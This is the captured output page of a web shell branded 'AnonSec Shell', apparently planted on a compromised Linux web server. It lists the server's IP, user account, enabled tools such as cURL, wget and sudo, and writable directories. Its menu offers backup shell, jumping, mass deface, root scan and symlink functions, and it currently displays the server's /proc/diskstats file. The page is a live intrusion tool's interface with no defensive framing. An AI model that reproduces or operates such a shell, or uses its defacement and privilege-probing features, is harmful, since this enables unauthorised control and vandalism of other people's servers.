AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/397848/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/397848/root/proc/diskstats
   7       0 loop0 11 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 259       0 nvme0n1 1767378 6818540 1110529457 753296 70428180 29460712 1098477741 102416515 0 89986256 134192896 51411 41 651818464 25400 19126774 30997684
 259       6 nvme0n1p1 523 142 23858 79 2 0 9 0 0 53 80 2 0 1035504 0 0 0
 259       7 nvme0n1p2 3520 14121 2756580 1413 456 105 218437 1327 0 1643 2769 49 0 1546760 28 0 0
 259       8 nvme0n1p3 1752690 6796685 1107538965 748507 70403265 29273094 1096563535 102378767 0 91895863 103152645 51360 41 649236200 25371 0 0
 259       9 nvme0n1p4 9829 7592 156136 3190 24457 187513 1695760 36420 0 5527 39611 0 0 0 0 0 0
 259      10 nvme0n1p5 214 0 5470 25 0 0 0 0 0 29 25 0 0 0 0 0 0
 259       1 nvme1n1 1160976 6800287 1030740634 618981 70427570 29461458 1098478836 101363555 0 89088437 132858128 51409 41 650782960 25115 19126774 30850476
 259       2 nvme1n1p1 351 0 22512 36 0 0 0 0 0 31 36 0 0 0 0 0 0
 259       3 nvme1n1p2 2530 14058 2150170 1187 456 105 218437 1245 0 1600 2459 49 0 1546760 26 0 0
 259       4 nvme1n1p3 1147935 6778687 1028398128 614302 70403262 29273097 1096563535 101325510 0 91005310 101964902 51360 41 649236200 25088 0 0
 259       5 nvme1n1p4 9834 7542 155776 3394 23852 188256 1696864 36799 0 6104 40194 0 0 0 0 0 0
   9       2 md2 1216 0 706850 285 430 0 218344 762 0 384 1075 49 0 1546760 28 0 0
   9       3 md3 916983 0 144419434 191062 80549593 0 1089411192 103793563 0 63100476 104056260 51401 0 649236200 71635 0 0

Anon7 - 2022
AnonSec Team